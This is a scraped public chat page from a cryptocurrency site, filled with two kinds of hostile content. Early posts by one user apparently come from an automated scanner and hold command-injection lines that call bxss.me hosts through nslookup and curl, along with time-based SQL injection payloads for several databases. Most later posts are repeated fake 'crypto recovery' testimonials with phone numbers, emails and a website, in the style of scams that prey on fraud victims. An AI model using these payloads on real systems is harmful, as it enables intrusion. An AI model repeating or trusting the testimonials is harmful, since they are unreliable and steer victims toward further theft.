  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon